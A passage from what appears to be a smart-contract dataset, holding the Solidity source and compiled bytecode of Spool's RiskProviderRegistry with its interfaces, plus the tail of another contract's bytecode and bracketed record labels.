ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104cd57600080fd5b506104d661114b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105165780820151818401526020810190506104fb565b50505050905090810190601f1680156105435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055d57600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e9565b604051808215151515815260200191505060405180910390f35b3480156105c257600080fd5b506105cb6113ec565b005b3480156105d957600080fd5b506105e2611481565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063057600080fd5b50610685600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114a7565b6040518082815260200191505060405180910390f35b3480156106a757600080fd5b506106dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061152e565b005b3480156106ea57600080fd5b5061072960048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d0565b604051808215151515815260200191505060405180910390f35b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d95780601f106107ae576101008083540402835291602001916107d9565b820191906000526020600020905b8154815290600101906020018083116107bc57829003601f168201915b505050505081565b6000600660009054906101000a900460ff1615156107fe57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000600660009054906101000a900460ff16151561091157600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109dc575081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610a675750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15610bfe5781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c03565b600090505b9392505050565b600960009054906101000a900460ff1681565b6000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7b57600080fd5b600660009054906101000a900460ff16151515610c9757600080fd5b610cac8260055461178490919063ffffffff16565b600581905550610d0482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178490919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600660009054906101000a900460ff1681565b6000600660009054906101000a900460ff161515610d8157600080fd5b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ef45781600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a360019050610ef9565b600090505b9392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5d57600080fd5b6000600660006101000a81548160ff02191690831515021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102157600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111e15780601f106111b6576101008083540402835291602001916111e1565b820191906000526020600020905b8154815290600101906020018083116111c457829003601f168201915b505050505081565b6000600660009054906101000a900460ff16151561120657600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156112d45750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b156113e15781600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506113e6565b600090505b92915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144857600080fd5b600660009054906101000a900460ff1615151561146457600080fd5b6001600660006101000a81548160ff021916908315150217905550565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158b57600080fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162e57600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561167c57600080fd5b6116ce83600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611726836005546117a290919063ffffffff16565b6005819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a26001905092915050565b600080828401905083811015151561179857fe5b8091505092915050565b60008282111515156117b057fe5b8183039050929150505600a165627a7a72305820c9d3c4eb18020dff35391e29b3883aaf0fc0fc1f3ed65f1012bf0b41c4ded3670029
[ 38 ]
0xf3B3DB4271d28427a3C50c66d754A4A2596B32dB
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.11; import "./interfaces/IRiskProviderRegistry.sol"; import "./shared/SpoolOwnable.sol"; import "./interfaces/IFeeHandler.sol"; /** * @dev Implementation of the {IRiskProviderRegistry} interface. * * @notice * This implementation acts as a simple registry contract permitting a * designated party (the owner) to toggle the validity of providers within * it. * * In turn, these providers are able to set a risk score for the strategies * they want that needs to be in the range [-10.0, 10.0]. */ contract RiskProviderRegistry is IRiskProviderRegistry, SpoolOwnable { /* ========== CONSTANTS ========== */ /// @notice Maximum strategy risk score /// @dev Risk score has 1 decimal accuracy, so value 100 represents 10.0 uint8 public constant MAX_RISK_SCORE = 100; /* ========== STATE VARIABLES ========== */ /// @notice fee handler contracts, to manage the risk provider fees IFeeHandler public immutable feeHandler; /// @notice Association of a risk provider to a strategy and finally to a risk score [0, 100] mapping(address => mapping(address => uint8)) private _risk; /// @notice Status of a risk provider mapping(address => bool) private _provider; /* ========== CONSTRUCTOR ========== */ /** * @notice Initialize contract, set spool owner * * @param _feeHandler to manage the risk provider fees * @param _spoolOwner the spool owner contract */ constructor( IFeeHandler _feeHandler, ISpoolOwner _spoolOwner ) SpoolOwnable(_spoolOwner) { require(address(_feeHandler) != address(0), "RiskProviderRegistry::constructor: Fee Handler address cannot be 0"); feeHandler = _feeHandler; } /* ========== VIEWS ========== */ /** * @notice Returns whether or not a particular address is a risk provider. * * @param provider provider address to check * * @return boolean indicating entry in _provider */ function isProvider(address provider) public view override returns (bool) { return _provider[provider]; } /** * @notice Returns the risk scores of strateg(s) as defined by * the provided risk provider. * * @param riskProvider risk provider to get risk scores for * @param strategies list of strategies that the risk provider has set risks for * * @return risk scores */ function getRisks(address riskProvider, address[] memory strategies) external view override returns (uint8[] memory) { uint8[] memory riskScores = new uint8[](strategies.length); for (uint256 i = 0; i < strategies.length; i++) { riskScores[i] = _risk[riskProvider][strategies[i]]; } return riskScores; } /** * @notice Returns the risk score of a particular strategy as defined by * the provided risk provider. * * @param riskProvider risk provider to get risk scores for * @param strategy strategy that the risk provider has set risk for * * @return risk score */ function getRisk(address riskProvider, address strategy) external view override returns (uint8) { return _risk[riskProvider][strategy]; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Allows the risk score of multiple strategies to be set. * * @dev * Requirements: * - the caller must be a risk provider * - input arrays must have the same length * * @param strategies list of strategies to set risk scores for * @param riskScores list of risk scores to set on each strategy */ function setRisks(address[] memory strategies, uint8[] memory riskScores) external { require( isProvider(msg.sender), "RiskProviderRegistry::setRisks: Insufficient Privileges" ); require( strategies.length == riskScores.length, "RiskProviderRegistry::setRisks: Strategies and risk scores lengths don't match" ); for (uint i = 0; i < strategies.length; i++) { _setRisk(strategies[i], riskScores[i]); } } /** * @notice Allows the risk score of a strategy to be set. * * @dev * Requirements: * - the caller must be a valid risk provider * * @param strategy strategy to set risk score for * @param riskScore risk score to set on the strategy */ function setRisk(address strategy, uint8 riskScore) external { require( isProvider(msg.sender), "RiskProviderRegistry::setRisk: Insufficient Privileges" ); _setRisk(strategy, riskScore); } /* ========== RESTRICTED FUNCTIONS ========== */ /** * @notice Allows the inclusion of a new provider to the registry. * * @dev * Emits a {ProviderAdded} event indicating the newly added provider. * * Requirements: * - the caller must be the owner of the contract * - the provider must not already exist in the registry * * @param provider provider to add * @param fee fee to go to provider */ function addProvider(address provider, uint16 fee) external onlyOwner { require( !_provider[provider], "RiskProviderRegistry::addProvider: Provider already exists" ); _provider[provider] = true; feeHandler.setRiskProviderFee(provider, fee); emit ProviderAdded(provider); } /** * @notice Allows the removal of an existing provider to the registry. * * @dev * Emits a {ProviderRemoved} event indicating the address of the removed provider. * provider fee is also set to 0. * * Requirements: * * - the caller must be the owner of the contract * - the provider must already exist in the registry * * @param provider provider to remove */ function removeProvider(address provider) external onlyOwner { require( _provider[provider], "RiskProviderRegistry::removeProvider: Provider does not exist" ); _provider[provider] = false; feeHandler.setRiskProviderFee(provider, 0); emit ProviderRemoved(provider); } /* ========== PRIVATE FUNCTIONS ========== */ /** * @notice Allows the risk score of a strategy to be set (internal) * * @dev * Emits a {RiskAssessed} event indicating the assessor of the score and the * newly set risk score of the strategy * * Requirements: * * - the risk score must be less than 100 * * @param strategy strategy to set risk score for * @param riskScore risk score to set on the strategy */ function _setRisk(address strategy, uint8 riskScore) private { require(riskScore <= MAX_RISK_SCORE, "RiskProviderRegistry::_setRisk: Risk score too big"); _risk[msg.sender][strategy] = riskScore; emit RiskAssessed(msg.sender, strategy, riskScore); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.11; import "../external/@openzeppelin/token/ERC20/IERC20.sol"; interface IFeeHandler { function payFees( IERC20 underlying, uint256 profit, address riskProvider, address vaultOwner, uint16 vaultFee ) external returns (uint256 feesPaid); function setRiskProviderFee(address riskProvider, uint16 fee) external; /* ========== EVENTS ========== */ event FeesPaid(address indexed vault, uint profit, uint ecosystemCollected, uint treasuryCollected, uint riskProviderColected, uint vaultFeeCollected); event RiskProviderFeeUpdated(address indexed riskProvider, uint indexed fee); event EcosystemFeeUpdated(uint indexed fee); event TreasuryFeeUpdated(uint indexed fee); event EcosystemCollectorUpdated(address indexed collector); event TreasuryCollectorUpdated(address indexed collector); event FeeCollected(address indexed collector, IERC20 indexed underlying, uint amount); event EcosystemFeeCollected(IERC20 indexed underlying, uint amount); event TreasuryFeeCollected(IERC20 indexed underlying, uint amount); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.11; import "../external/@openzeppelin/token/ERC20/IERC20.sol"; interface IRiskProviderRegistry { /* ========== FUNCTIONS ========== */ function isProvider(address provider) external view returns (bool); function getRisk(address riskProvider, address strategy) external view returns (uint8); function getRisks(address riskProvider, address[] memory strategies) external view returns (uint8[] memory); /* ========== EVENTS ========== */ event RiskAssessed(address indexed provider, address indexed strategy, uint8 riskScore); event ProviderAdded(address provider); event ProviderRemoved(address provider); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.11; interface ISpoolOwner { function isSpoolOwner(address user) external view returns(bool); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.11; import "../interfaces/ISpoolOwner.sol"; /// @title Logic to help check whether the caller is the Spool owner abstract contract SpoolOwnable { /// @notice Contract that checks if address is Spool owner ISpoolOwner internal immutable spoolOwner; /** * @notice Sets correct initial values * @param _spoolOwner Spool owner contract address */ constructor(ISpoolOwner _spoolOwner) { require( address(_spoolOwner) != address(0), "SpoolOwnable::constructor: Spool owner contract address cannot be 0" ); spoolOwner = _spoolOwner; } /** * @notice Checks if caller is Spool owner * @return True if caller is Spool owner, false otherwise */ function isSpoolOwner() internal view returns(bool) { return spoolOwner.isSpoolOwner(msg.sender); } /// @notice Checks and throws if caller is not Spool owner function _onlyOwner() private view { require(isSpoolOwner(), "SpoolOwnable::onlyOwner: Caller is not the Spool owner"); } /// @notice Checks and throws if caller is not Spool owner modifier onlyOwner() { _onlyOwner(); _; } }
0x608060405234801561001057600080fd5b50600436106100a35760003560e01c806345f19131116100765780636b074a071161005b5780636b074a07146101725780638a355a57146101bb578063d4955555146101ce57600080fd5b806345f19131146101455780635dfe9d3a1461015f57600080fd5b806307db2cef146100a857806316bf5dbf146100bd578063279e00a3146100d05780633c93adee146100f9575b600080fd5b6100bb6100b6366004610c2e565b610215565b005b6100bb6100cb366004610d91565b61040f565b6100e36100de366004610e53565b6105c4565b6040516100f09190610ea1565b60405180910390f35b6101207f000000000000000000000000b7be35c489accf37d9711cb0030af40fddfefc5c81565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100f0565b61014d606481565b60405160ff90911681526020016100f0565b6100bb61016d366004610ee8565b6106fa565b6101ab610180366004610f1b565b73ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205460ff1690565b60405190151581526020016100f0565b6100bb6101c9366004610f1b565b6107a7565b61014d6101dc366004610f3d565b73ffffffffffffffffffffffffffffffffffffffff91821660009081526020818152604080832093909416825291909152205460ff1690565b61021d61098f565b73ffffffffffffffffffffffffffffffffffffffff821660009081526001602052604090205460ff16156102d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603a60248201527f5269736b50726f766964657252656769737472793a3a61646450726f7669646560448201527f723a2050726f766964657220616c72656164792065786973747300000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82811660008181526001602081905260409182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169091179055517f0abec55d000000000000000000000000000000000000000000000000000000008152600481019190915261ffff831660248201527f000000000000000000000000b7be35c489accf37d9711cb0030af40fddfefc5c90911690630abec55d90604401600060405180830381600087803b1580156103a957600080fd5b505af11580156103bd573d6000803e3d6000fd5b505060405173ffffffffffffffffffffffffffffffffffffffff851681527fae9c2c6481964847714ce58f65a7f6dcc41d0d8394449bacdf161b5920c4744a9250602001905060405180910390a15050565b3360009081526001602052604090205460ff166104ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603760248201527f5269736b50726f766964657252656769737472793a3a7365745269736b733a2060448201527f496e73756666696369656e742050726976696c6567657300000000000000000060648201526084016102cf565b8051825114610565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604e60248201527f5269736b50726f766964657252656769737472793a3a7365745269736b733a2060448201527f5374726174656769657320616e64207269736b2073636f726573206c656e677460648201527f687320646f6e2774206d61746368000000000000000000000000000000000000608482015260a4016102cf565b60005b82518110156105bf576105ad83828151811061058657610586610f67565b60200260200101518383815181106105a0576105a0610f67565b6020026020010151610a25565b806105b781610f96565b915050610568565b505050565b60606000825167ffffffffffffffff8111156105e2576105e2610c6c565b60405190808252806020026020018201604052801561060b578160200160208202803683370190505b50905060005b83518110156106f2576000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085838151811061066c5761066c610f67565b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168282815181106106ce576106ce610f67565b60ff90921660209283029190910190910152806106ea81610f96565b915050610611565b509392505050565b3360009081526001602052604090205460ff16610799576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f5269736b50726f766964657252656769737472793a3a7365745269736b3a204960448201527f6e73756666696369656e742050726976696c656765730000000000000000000060648201526084016102cf565b6107a38282610a25565b5050565b6107af61098f565b73ffffffffffffffffffffffffffffffffffffffff811660009081526001602052604090205460ff16610864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603d60248201527f5269736b50726f766964657252656769737472793a3a72656d6f766550726f7660448201527f696465723a2050726f766964657220646f6573206e6f7420657869737400000060648201526084016102cf565b73ffffffffffffffffffffffffffffffffffffffff81811660008181526001602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055517f0abec55d000000000000000000000000000000000000000000000000000000008152600481019290925260248201527f000000000000000000000000b7be35c489accf37d9711cb0030af40fddfefc5c90911690630abec55d90604401600060405180830381600087803b15801561092a57600080fd5b505af115801561093e573d6000803e3d6000fd5b505060405173ffffffffffffffffffffffffffffffffffffffff841681527f1589f8555933761a3cff8aa925061be3b46e2dd43f621322ab611d300f62b1d99250602001905060405180910390a150565b610997610b4f565b610a23576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f53706f6f6c4f776e61626c653a3a6f6e6c794f776e65723a2043616c6c65722060448201527f6973206e6f74207468652053706f6f6c206f776e65720000000000000000000060648201526084016102cf565b565b606460ff82161115610ab9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603260248201527f5269736b50726f766964657252656769737472793a3a5f7365745269736b3a2060448201527f5269736b2073636f726520746f6f20626967000000000000000000000000000060648201526084016102cf565b3360008181526020818152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff871690811790915590519081529192917f5b2a21493c4504ffcf0f09198ed1a1c2035511e8708a6b89d41e1f564fb2e857910160405180910390a35050565b6040517f4c24e8cd0000000000000000000000000000000000000000000000000000000081523360048201526000907f0000000000000000000000004f03f70a99e5c3b49d733ddd7458f80fa9b5a5b573ffffffffffffffffffffffffffffffffffffffff1690634c24e8cd90602401602060405180830381865afa158015610bdc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c009190610ff6565b905090565b803573ffffffffffffffffffffffffffffffffffffffff81168114610c2957600080fd5b919050565b60008060408385031215610c4157600080fd5b610c4a83610c05565b9150602083013561ffff81168114610c6157600080fd5b809150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715610ce257610ce2610c6c565b604052919050565b600067ffffffffffffffff821115610d0457610d04610c6c565b5060051b60200190565b600082601f830112610d1f57600080fd5b81356020610d34610d2f83610cea565b610c9b565b82815260059290921b84018101918181019086841115610d5357600080fd5b8286015b84811015610d7557610d6881610c05565b8352918301918301610d57565b509695505050505050565b803560ff81168114610c2957600080fd5b60008060408385031215610da457600080fd5b823567ffffffffffffffff80821115610dbc57600080fd5b610dc886838701610d0e565b9350602091508185013581811115610ddf57600080fd5b85019050601f81018613610df257600080fd5b8035610e00610d2f82610cea565b81815260059190911b82018301908381019088831115610e1f57600080fd5b928401925b82841015610e4457610e3584610d80565b82529284019290840190610e24565b80955050505050509250929050565b60008060408385031215610e6657600080fd5b610e6f83610c05565b9150602083013567ffffffffffffffff811115610e8b57600080fd5b610e9785828601610d0e565b9150509250929050565b6020808252825182820181905260009190848201906040850190845b81811015610edc57835160ff1683529284019291840191600101610ebd565b50909695505050505050565b60008060408385031215610efb57600080fd5b610f0483610c05565b9150610f1260208401610d80565b90509250929050565b600060208284031215610f2d57600080fd5b610f3682610c05565b9392505050565b60008060408385031215610f5057600080fd5b610f5983610c05565b9150610f1260208401610c05565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610fef577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b5060010190565b60006020828403121561100857600080fd5b81518015158114610f3657600080fdfea2646970667358221220e53d0bac52a24d16270be07dc733c991f4208e5e95f244bfd0e1fcba2e61107f64736f6c634300080b0033
[ 38 ]